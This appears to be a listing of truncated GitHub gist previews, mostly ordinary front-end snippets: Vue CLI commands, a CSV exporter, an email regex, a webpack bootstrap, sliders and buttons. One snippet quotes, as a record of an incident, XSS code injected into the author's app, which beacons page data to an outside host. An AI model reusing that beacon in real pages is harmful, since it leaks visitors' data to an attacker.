see https://cli.vuejs.org/zh/guide/prototyping.html
# install
npm install -g @vue/cli-service-global
# run
vue serve TodoApp.vue
see https://cli.vuejs.org/zh/guide/prototyping.html
# install
npm install -g @vue/cli-service-global
# run
vue serve TodoApp.vue
/** | |
* 导出csv文件 | |
* @see https://gist.github.com/dannypule/48418b4cd8223104c6c92e3016fc0f61 | |
*/ | |
class json2csv { | |
exportCSVFile(headers, items, fileTitle) { | |
if (headers) { | |
items.unshift(headers); | |
} |
/* | |
用途:检查输入的Email信箱格式是否正确 | |
输入:strEmail:字符串 | |
返回:如果通过验证返回true,否则返回false | |
*/ | |
function checkEmail(strEmail) | |
{ | |
//var emailReg = /^[_a-z0-9]+@([_a-z0-9]+\.)+[a-z0-9]{2,3}$/; | |
var emailReg = /^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$/; | |
if ( emailReg.test(strEmail) ) { |
(function (modules) { | |
// The module cache | |
var installedModules = {}; | |
// The require function | |
function __webpack_require__(moduleId) { | |
// Check if module is in cache | |
if (installedModules[moduleId]) { | |
return installedModules[moduleId].exports; | |
} | |
// Create a new module (and put it into the cache) |
```javascript | |
(function{ | |
if(window.DeviceMotionEvent) { | |
alert('you'); | |
window.addEventListener('devicemotion', deviceMotionHandler, false); | |
}else{ | |
alert('no'); | |
} | |
/* | |
* 被黑客xss的一次经历,下面是黑客嵌入到app内的代码 | |
*/ | |
//http://cro.im/m | |
(function() { | |
(new Image()).src = 'http://cro.im/index.php?do=api&id=IBkpf0&location=' + escape((function() { | |
try { | |
return document.location.href | |
} catch (e) { |
<div class="slides"> | |
<ul> | |
<li class="current"><img src="http://placehold.it/490x170" alt="" /></li> | |
<li><img src="http://placehold.it/490x170/7cd6fa" alt="" /></li> | |
<li><img src="http://placehold.it/490x170/7cd" alt="" /></li> | |
<li><img src="http://placehold.it/490x170/ede" alt="" /></li> | |
<li><img src="http://placehold.it/490x170/67a" alt="" /></li> | |
</ul> |
<input type="button" class="btn btn-primary" value="按钮A" onclick="AA();" /><br /><br /> | |
<input type="button" class="btn btn-primary" value="按钮B" onclick="BB();" /><br /><br /> | |
<input type="button" class="btn btn-primary" value="按钮C" onclick="CC();" /><br /><br /> | |
<input type="button" class="btn btn-primary" value="按钮D" onclick="DD();" /><br /><br /> |